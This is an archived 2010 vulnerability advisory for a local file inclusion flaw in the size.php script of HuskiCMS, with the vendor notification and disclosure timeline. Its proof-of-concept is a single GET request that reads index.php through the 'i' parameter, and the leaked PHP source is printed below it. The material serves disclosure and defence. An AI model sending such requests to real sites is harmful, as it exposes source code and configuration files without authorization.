Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:23187
HistoryFeb 08, 2010 - 12:00 a.m.

JAHx102 - HuskiCMS local file inclusion

2010-02-0800:00:00
vulners.com
20

20100205 - Justanotherhacker.com : HuskiCMS local file inclusion
JAHx102 - http://www.justanotherhacker.com/advisories/JAHx102.txt

HuskiCMS
huski CMS effectively places the control of the website back into the hands of you, the site owner. huski CMS is extremely user friendly and has been developed
with the lowest denominator in IT knowledge in mind. huski CMS is still a very powerful and flexible system which ensures your site is using the latest
technologies such as AJAX, XML, XHTML, and CSS
[ Taken from: http://www.huskicms.com ]

— Vulnerability description —
A conditional local file inclusion exists in the image resizing script size.php's i parameter.
The parameter is not filtered and allows arbitrary file inclusion.

Type: Local File Inclusion
Severity: Low
Release: Responsible
CVE: None
Vendor: ASCET Interactive - http://www.ascetinteractive.com
Affected versions:
Unknown

— Proof of Concept —
~$ GET 'http://[target]/size.php?i=index.php'
<?php
header ('Content-Type: text/html; charset=utf-8');
// Data Includes
include_once "PHPLib/db_mysql.inc";
include_once "Data/dbConnection.class.php";
include_once "Data/dbConfig.class.php";
include_once "Data/dataAdapter.class.php";
include_once "Quicksite/Core/domxml.class.php";

    // Quicksite Core Includes
    include_once &quot;Quicksite/Core/all.inc.php&quot;;
    
    // Configuration
    include_once &quot;Quicksite/db.config.php&quot;;
    include_once &quot;inc/vars.config.php&quot;;

    // Initialise the Site
    $site = new Site&#40;$_VARS[&#39;site&#39;]&#41;;
    print_r&#40;$_SESSION[&#39;login&#39;]&#41;;
    // Initialise the Page
    $page = new Page&#40;$site, $_GET[&#39;id&#39;], array_merge&#40;$_POST, $_GET&#41;&#41;;

    // Load plugin sources
    $page-&gt;loadPluginSources&#40;&#41;;
    
    // Create the Page
    $page-&gt;createPage&#40;&#41;;
    
    echo $page-&gt;Result;

?>

— Solution —
Upgrade to a more recent version

— Disclosure time line —
05-Feb-2010 - Public disclosure
29-Jan-2010 - Vendor acknowledge vulnerability
28-Jan-2010 - Vendor notified through email